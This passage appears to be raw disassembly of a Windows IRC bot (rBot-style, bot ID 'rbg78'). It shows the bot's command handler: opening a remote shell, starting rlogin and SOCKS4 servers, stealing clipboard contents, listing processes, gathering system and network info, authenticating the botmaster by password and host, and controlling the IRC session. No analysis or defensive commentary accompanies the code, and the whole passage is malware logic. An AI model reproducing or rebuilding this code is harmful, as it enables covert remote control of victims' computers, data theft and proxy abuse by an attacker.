; ---------------------------------------------------------------------------
loc_4079F7: ; CODE XREF: seg000:004079E1j
; seg000:004079ECj
mov eax, ds:dword_43CC60
loc_4079FC: ; CODE XREF: seg000:004079F5j
mov [ebp-580h], eax
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
jnz short loc_407A13
lea eax, [ebp-0C0h]
loc_407A13: ; CODE XREF: seg000:00407A0Bj
push eax
lea eax, [ebp-6C0h]
push 40h
push eax
call sub_41D360
mov esi, [ebp+esi-88h]
add esp, 0Ch
cmp esi, ebx
jnz short loc_407A35
mov esi, offset dword_4DF34C
loc_407A35: ; CODE XREF: seg000:00407A2Ej
push esi
lea eax, [ebp-680h]
push 100h
push eax
call sub_41D360
push dword ptr [ebp-8Ch]
lea eax, [ebp-740h]
push 80h
push eax
call sub_41D360
mov eax, [ebp-8]
mov esi, [ebp+0Ch]
mov edi, [ebp-4]
add esp, 18h
mov [ebp-56Ch], eax
lea eax, [ebp-6C0h]
push eax
mov [ebp-744h], esi
push dword ptr [ebp-580h]
mov [ebp-570h], edi
push esi
call sub_402617
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 9
push eax
call sub_408D3F
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-744h]
push ebx
push eax
push offset byte_411D87
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_407AFB
loc_407AE9: ; CODE XREF: seg000:00407AF9j
cmp [ebp-568h], ebx
jnz short loc_407B16
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_407AE9
; ---------------------------------------------------------------------------
loc_407AFB: ; CODE XREF: seg000:00407AE7j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
loc_407B07: ; CODE XREF: seg000:00406026j
; seg000:00406120j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
loc_407B16: ; CODE XREF: seg000:0040600Aj
; seg000:00406104j ...
cmp [ebp-8], ebx
jnz loc_40549F
push ebx
push edi
loc_407B21: ; CODE XREF: seg000:004058CAj
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push esi
jmp loc_405497
; ---------------------------------------------------------------------------
loc_407B34: ; CODE XREF: seg000:00404375j
; seg000:0040438Aj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_407B47
push esi
call sub_41D560
jmp short loc_407B4E
; ---------------------------------------------------------------------------
loc_407B47: ; CODE XREF: seg000:00407B3Dj
push 0Bh
call sub_408FA6
loc_407B4E: ; CODE XREF: seg000:00407B45j
cmp eax, ebx
pop ecx
jz loc_40845F
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call near ptr loc_409696+1
loc_407B69: ; CODE XREF: seg000:00407FE8j
add esp, 10h
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_407B71: ; CODE XREF: seg000:0040434Bj
; seg000:00404360j
mov eax, ds:dword_451414
cmp eax, ebx
jz short loc_407B8E
call eax ; dword_451414
test eax, eax
jz short loc_407B87
push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed."
jmp short loc_407BAA
; ---------------------------------------------------------------------------
loc_407B87: ; CODE XREF: seg000:00407B7Ej
push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache."
jmp short loc_407BAA
; ---------------------------------------------------------------------------
loc_407B8E: ; CODE XREF: seg000:00407B78j
push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll."
jmp short loc_407BAA
; ---------------------------------------------------------------------------
loc_407B95: ; CODE XREF: seg000:00404321j
; seg000:00404336j
call sub_402533
test eax, eax
jz short loc_407BA5
push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache flushed."
jmp short loc_407BAA
; ---------------------------------------------------------------------------
loc_407BA5: ; CODE XREF: seg000:00407B9Cj
push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache."
loc_407BAA: ; CODE XREF: seg000:00407B85j
; seg000:00407B8Cj ...
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
jmp loc_4068DA
; ---------------------------------------------------------------------------
loc_407BC0: ; CODE XREF: seg000:004042F7j
; seg000:0040430Cj
cmp [ebp-8], ebx
jnz short loc_407BDF
push ebx
push dword ptr [ebp-4]
push offset aClipboardData ; "-[Clipboard Data]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_407BDF: ; CODE XREF: seg000:00407BC3j
push ebx
push dword ptr [ebp-4]
call sub_4179BF
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
push offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
jmp loc_407EB7
; ---------------------------------------------------------------------------
loc_407C01: ; CODE XREF: seg000:00404217j
; seg000:0040422Cj
push 0Ah
call sub_408F87
test eax, eax
pop ecx
jle short loc_407C14
push offset aCmdRemoteShell ; "[CMD]: Remote shell already running."
jmp short loc_407C35
; ---------------------------------------------------------------------------
loc_407C14: ; CODE XREF: seg000:00407C0Bj
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_419602
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_407C30
push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
jmp short loc_407C35
; ---------------------------------------------------------------------------
loc_407C30: ; CODE XREF: seg000:00407C27j
push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready."
loc_407C35: ; CODE XREF: seg000:00405667j
; seg000:00405797j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
pop ecx
pop ecx
jmp loc_40547E
; ---------------------------------------------------------------------------
loc_407C48: ; CODE XREF: seg000:004041EDj
; seg000:00404202j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40216A
jmp loc_407ED5
; ---------------------------------------------------------------------------
loc_407C61: ; CODE XREF: seg000:004041C3j
; seg000:004041D8j
push dword ptr [ebp+esi-90h]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_416CB5
jmp loc_407ED5
; ---------------------------------------------------------------------------
loc_407C7E: ; CODE XREF: seg000:00404199j
; seg000:004041AEj
or edi, 0FFFFFFFFh
call ds:dword_4F1340 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_407CA7
push esi
call sub_41D560
pop ecx
mov edi, eax
loc_407CA7: ; CODE XREF: seg000:00407C9Cj
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_407CC0
cmp edi, 0FFFFFFFFh
jnz loc_40845F
loc_407CC0: ; CODE XREF: seg000:00407CB5j
push ebx
call sub_41A227
push eax
lea eax, [ebp-2C8h]
push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
jmp loc_405E5B
; ---------------------------------------------------------------------------
loc_407D02: ; CODE XREF: seg000:0040416Fj
; seg000:00404184j
push 27h
call sub_408F87
test eax, eax
pop ecx
jle short loc_407D36
cmp [ebp-8], ebx
jnz loc_403498
push ebx
push dword ptr [ebp-4]
push offset aProcAlreadyRun ; "[PROC]: Already running."
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
jmp loc_403498
; ---------------------------------------------------------------------------
loc_407D36: ; CODE XREF: seg000:00407D0Cj
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_41D360
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
mov [ebp-458h], ebx
jz short loc_407D97
push esi
push offset aFull ; "full"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_407D97
mov dword ptr [ebp-458h], 1
loc_407D97: ; CODE XREF: seg000:00407D7Aj
; seg000:00407D8Bj
lea eax, [ebp-2C8h]
push offset aProcsProccessL ; "[PROCS]: Proccess list."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 27h
push eax
call sub_408D3F
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_419289
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_407E05
loc_407DEF: ; CODE XREF: seg000:00407E03j
cmp [ebp-44Ch], ebx
jnz loc_40549F
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_407DEF
; ---------------------------------------------------------------------------
loc_407E05: ; CODE XREF: seg000:00407DEDj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
push eax
call sub_41D260
add esp, 0Ch
jmp loc_40549F
; ---------------------------------------------------------------------------
loc_407E25: ; CODE XREF: seg000:00404145j
; seg000:0040415Aj
cmp [ebp-8], ebx
jnz short loc_407E44
push ebx
push dword ptr [ebp-4]
push offset aMainRemovingBo ; "[MAIN]: Removing Bot."
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_407E44: ; CODE XREF: seg000:00407E28j
push dword ptr [ebp+0Ch]
call ds:dword_451588
call ds:dword_45144C
call loc_417BC3
push ebx
call ds:dword_4F12F8 ; ExitProcess
loc_407E5F: ; CODE XREF: seg000:0040411Bj
; seg000:00404130j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call loc_41A3E4
pop ecx
pop ecx
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
push offset aMainSystemInfo ; "[MAIN]: System Info."
jmp short loc_407EB7
; ---------------------------------------------------------------------------
loc_407E8A: ; CODE XREF: seg000:004040F1j
; seg000:00404106j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41A698
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
push offset aMainNetworkInf ; "[MAIN]: Network Info."
loc_407EB7: ; CODE XREF: seg000:00407BFCj
; seg000:00407E88j
call sub_4161A7
jmp loc_406B94
; ---------------------------------------------------------------------------
loc_407EC1: ; CODE XREF: seg000:004040C7j
; seg000:004040DCj
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4162E4
loc_407ED5: ; CODE XREF: seg000:004033E2j
; seg000:00407C5Cj ...
add esp, 10h
jmp loc_403498
; ---------------------------------------------------------------------------
loc_407EDD: ; CODE XREF: seg000:0040409Dj
; seg000:004040B2j
cmp [ebp-0Ch], ebx
mov [ebp-374h], bl
jz short loc_407F1C
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_407F1C
push esi
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407F1C
push eax
push offset aS_18 ; "%s"
lea eax, [ebp-374h]
push 80h
push eax
call sub_41D360
add esp, 10h
loc_407F1C: ; CODE XREF: seg000:00407EE6j
; seg000:00407EF1j ...
push dword ptr [ebp-8Ch]
lea eax, [ebp-3F4h]
push 80h
push eax
call sub_41D360
mov eax, [ebp+0Ch]
push offset aLogListingLog_ ; "[LOG]: Listing log."
mov [ebp-3F8h], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
mov eax, [ebp-8]
mov [ebp-2ECh], eax
lea eax, [ebp-2C8h]
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 25h
push eax
call sub_408D3F
add esp, 20h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F8h]
push ebx
push eax
push offset byte_416357
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_407FBC
loc_407FA6: ; CODE XREF: seg000:00407FBAj
cmp [ebp-2E8h], ebx
jnz loc_403498
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_407FA6
; ---------------------------------------------------------------------------
loc_407FBC: ; CODE XREF: seg000:00407FA4j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "...
jmp loc_4085E6
; ---------------------------------------------------------------------------
loc_407FCD: ; CODE XREF: seg000:00404073j
; seg000:00404088j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_41612F
push offset aMainAliasList_ ; "[MAIN]: Alias list."
call sub_4161A7
jmp loc_407B69
; ---------------------------------------------------------------------------
loc_407FED: ; CODE XREF: seg000:00404049j
; seg000:0040405Ej
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_41D360
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
jz short loc_408047
push offset aSub ; "sub"
push esi
call sub_41D900
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-458h], eax
jmp short loc_40804D
; ---------------------------------------------------------------------------
loc_408047: ; CODE XREF: seg000:0040802Bj
mov [ebp-458h], ebx
loc_40804D: ; CODE XREF: seg000:00408045j
lea eax, [ebp-2C8h]
push offset aThreadsListThr ; "[THREADS]: List threads."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 28h
push eax
call sub_408D3F
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset word_408DAA
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4080B7
loc_4080A5: ; CODE XREF: seg000:004080B5j
cmp [ebp-44Ch], ebx
jnz short loc_4080D2
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4080A5
; ---------------------------------------------------------------------------
loc_4080B7: ; CODE XREF: seg000:004080A3j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
loc_4080C3: ; CODE XREF: seg000:00406FDAj
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
loc_4080D2: ; CODE XREF: seg000:004053E3j
; seg000:00405405j ...
lea eax, [ebp-2C8h]
push eax
jmp loc_4042DD
; ---------------------------------------------------------------------------
loc_4080DE: ; CODE XREF: seg000:00403FCDj
; seg000:00403FE2j
push offset aRbg78 ; "rbg78"
lea eax, [ebp-2C8h]
push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 20h
jmp loc_406913
; ---------------------------------------------------------------------------
loc_408115: ; CODE XREF: seg000:00403FA3j
; seg000:00403FB8j
push ds:dword_4DF1BC
call sub_41A227
push eax
lea eax, [ebp-2C8h]
push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 24h
jmp loc_406913
; ---------------------------------------------------------------------------
loc_408153: ; CODE XREF: seg000:00403F79j
; seg000:00403F8Ej
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_408185
cmp [ebp-0Ch], ebx
jz short loc_408194
push esi
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408194
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
add esp, 0Ch
jmp short loc_408194
; ---------------------------------------------------------------------------
loc_408185: ; CODE XREF: seg000:0040815Cj
push offset aQuitLater_0 ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
pop ecx
pop ecx
loc_408194: ; CODE XREF: seg000:00408161j
; seg000:00408170j ...
push 0FFFFFFFEh
jmp loc_40349A
; ---------------------------------------------------------------------------
loc_40819B: ; CODE XREF: seg000:00403F4Fj
; seg000:00403F64j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push offset aMainDisconnect ; "[MAIN]: Disconnecting."
call sub_4161A7
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_4081BD: ; CODE XREF: seg000:00403F25j
; seg000:00403F3Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push offset aMainReconnecti ; "[MAIN]: Reconnecting."
call sub_4161A7
add esp, 0Ch
xor eax, eax
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_4081DE: ; CODE XREF: seg000:00403EFBj
; seg000:00403F10j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_409293
jmp loc_406AD7
; ---------------------------------------------------------------------------
loc_4081F4: ; CODE XREF: seg000:00403E56j
; seg000:00403E6Bj
push dword ptr [ebp+esi-90h]
push 27h
push offset aProcessList ; "Process list"
push offset aProc ; "[PROC]"
loc_408207: ; CODE XREF: seg000:00403CD1j
; seg000:00403CFAj ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_408FCD
add esp, 20h
jmp loc_403498
; ---------------------------------------------------------------------------
loc_408223: ; CODE XREF: seg000:00403C92j
; seg000:00403CA7j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_408242
push edi
call sub_41D560
test eax, eax
pop ecx
jz short loc_408242
push edi
call sub_41D560
pop ecx
jmp short loc_408247
; ---------------------------------------------------------------------------
loc_408242: ; CODE XREF: seg000:0040822Cj
; seg000:00408237j
mov eax, ds:dword_43CC54
loc_408247: ; CODE XREF: seg000:00408240j
mov esi, [ebp+esi-8Ch]
mov [ebp-464h], eax
cmp esi, ebx
jz short loc_40826C
push esi
loc_408259: ; CODE XREF: seg000:0040827Bj
lea eax, [ebp-474h]
push 10h
push eax
call sub_41D360
add esp, 0Ch
jmp short loc_408283
; ---------------------------------------------------------------------------
loc_40826C: ; CODE XREF: seg000:00408256j
cmp [ebp-9B3h], bl
jz short loc_40827D
lea eax, [ebp-0C0h]
push eax
jmp short loc_408259
; ---------------------------------------------------------------------------
loc_40827D: ; CODE XREF: seg000:00408272j
mov [ebp-474h], bl
loc_408283: ; CODE XREF: seg000:0040826Aj
mov eax, [ebp-4]
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-458h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-454h], eax
lea eax, [ebp-4F4h]
push eax
mov [ebp-4F8h], esi
call sub_41D360
add esp, 0Ch
push dword ptr [ebp-464h]
push esi
call sub_402617
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 19h
push eax
call sub_408D3F
add esp, 1Ch
mov [ebp-460h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset loc_412507
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-460h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_408334
loc_40831E: ; CODE XREF: seg000:00408332j
cmp [ebp-450h], ebx
jnz loc_403498
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40831E
; ---------------------------------------------------------------------------
loc_408334: ; CODE XREF: seg000:0040831Cj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
jmp loc_4085E6
; ---------------------------------------------------------------------------
loc_408345: ; CODE XREF: seg000:00403C68j
; seg000:00403C7Dj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40839F
push esi
call sub_41D560
cmp eax, ebx
pop ecx
jl short loc_408397
cmp eax, 3
jge short loc_408397
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40838F
lea eax, [esi+1]
push eax
lea eax, [ebp-2C8h]
push offset aMainUserSLog_1 ; "[MAIN]: User %s logged out."
push eax
call sub_41D260
add esp, 0Ch
mov [esi], bl
jmp loc_406698
; ---------------------------------------------------------------------------
loc_40838F: ; CODE XREF: seg000:0040836Ej
push eax
push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
jmp short loc_4083DC
; ---------------------------------------------------------------------------
loc_408397: ; CODE XREF: seg000:00408359j
; seg000:0040835Ej
push eax
push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d."
jmp short loc_4083DC
; ---------------------------------------------------------------------------
loc_40839F: ; CODE XREF: seg000:0040834Ej
mov edi, [ebp+20h]
xor esi, esi
loc_4083A4: ; CODE XREF: seg000:004083C0j
push dword ptr [ebp-94h]
push edi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4083C7
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4083A4
jmp loc_406698
; ---------------------------------------------------------------------------
loc_4083C7: ; CODE XREF: seg000:004083B4j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C0h]
push eax
push offset aMainUserSLog_2 ; "[MAIN]: User %s logged out."
loc_4083DC: ; CODE XREF: seg000:00404819j
; seg000:00404847j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
jmp loc_406698
; ---------------------------------------------------------------------------
loc_4083F0: ; CODE XREF: seg000:00403C3Ej
; seg000:00403C53j
push dword ptr [ebp-90h]
push offset a332_4 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_40845F
call sub_408F08
push ebx
call ds:dword_4F12F8 ; ExitProcess
loc_408412: ; CODE XREF: seg000:00403C14j
; seg000:00403C29j
push dword ptr [ebp+esi-90h]
xor eax, eax
cmp [ebp-9A4h], bl
setnz al
push eax
lea eax, [ebp-564h]
push ds:dword_43CC7C
push eax
call sub_408A38
lea eax, [ebp-564h]
push eax
push offset aNickS_2 ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
lea eax, [ebp-564h]
push eax
push offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
call sub_41621B
loc_40845C: ; CODE XREF: seg000:00405604j
add esp, 24h
loc_40845F: ; CODE XREF: seg000:00403650j
; seg000:0040365Cj ...
mov eax, [ebp+2Ch]
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_408467: ; CODE XREF: seg000:004036E6j
; seg000:004036FBj
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], esi
jz loc_403498
cmp [ebp-0A8h], ebx
jnz loc_403498
push offset asc_43D960 ; "!"
push dword ptr [ebp-94h]
call sub_41D6B0
mov esi, eax
push offset dword_4DF348
push ebx
inc esi
call sub_41D6B0
push offset asc_43D964 ; "~"
push eax
call sub_41D6B0
push dword ptr [ebp+8]
mov edi, eax
push offset aHi_0 ; "hi"
call sub_41D900
add esp, 20h
test eax, eax
jz short loc_4084FD
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_401417
push edi
push esi
push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)."
jmp short loc_408559
; ---------------------------------------------------------------------------
loc_4084FD: ; CODE XREF: seg000:004084C2j
mov dword ptr [ebp+2Ch], offset off_43CD24
loc_408504: ; CODE XREF: seg000:00408520j
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_409098
pop ecx
test eax, eax
pop ecx
jnz short loc_40856D
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_43CD28
jl short loc_408504
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_401417
push edi
push esi
push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)."
loc_408559: ; CODE XREF: seg000:004084FBj
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 30h
jmp loc_4066B9
; ---------------------------------------------------------------------------
loc_40856D: ; CODE XREF: seg000:00408513j
mov edi, [ebp+20h]
xor esi, esi
loc_408572: ; CODE XREF: seg000:0040859Cj
cmp [ebp+8], ebx
jz loc_403498
cmp [edi], bl
jnz short loc_408592
push dword ptr [ebp+8]
push offset aHi_0 ; "hi"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4085A3
loc_408592: ; CODE XREF: seg000:0040857Dj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_408572
jmp loc_403498
; ---------------------------------------------------------------------------
loc_4085A3: ; CODE XREF: seg000:00408590j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0A94h]
push 7Fh
push eax
push esi
call sub_41D800
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4085DA
push ebx
push dword ptr [ebp-4]
push offset aMainPasswordAc ; "[MAIN]: Password accepted."
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_4085DA: ; CODE XREF: seg000:004085BEj
lea eax, [ebp-0C0h]
push eax
push offset aMainUserSLog_3 ; "[MAIN]: User: %s logged in."
loc_4085E6: ; CODE XREF: seg000:004035B9j
; seg000:00407FC8j ...
call sub_41621B
pop ecx
loc_4085EC: ; CODE XREF: seg000:004054ABj
pop ecx
jmp loc_403498
; ---------------------------------------------------------------------------
loc_4085F2: ; CODE XREF: seg000:0040322Bj
; seg000:00403240j
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push offset aXIr ; "-x+iR"
push dword ptr [ebp+18h]
push offset aModeSS ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
add esp, 2Ch
mov ds:dword_4DF338, edi
jmp loc_4032BA
; ---------------------------------------------------------------------------
loc_408638: ; DATA XREF: seg002:0043C004o
jmp $+5
push 0FFFFh
push 539h
call sub_41801E
pop ecx
mov ds:dword_4DF1B8, eax
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_408654 proc near ; CODE XREF: sub_408A38+49p
; DATA XREF: seg002:off_43FB00o
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
call sub_41DBA0
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push ds:off_43FB68[edx*4]
push offset aS_27 ; "%s"
push 1Ch
push edi
call sub_41D360
xor esi, esi
add esp, 14h
cmp ds:dword_43CC78, esi
jle short loc_4086BB
loc_408695: ; CODE XREF: sub_408654+65j
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41D360
add esp, 14h
inc esi
cmp esi, ds:dword_43CC78
jl short loc_408695
loc_4086BB: ; CODE XREF: sub_408654+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_408654 endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
mov edi, [esp+10h]
mov dword ptr [esp], offset aC_4 ; "C-"
push offset aS_28 ; "%s"
push 1Ch
push edi
call sub_41D360
xor esi, esi
add esp, 10h
cmp ds:dword_43CC78, esi
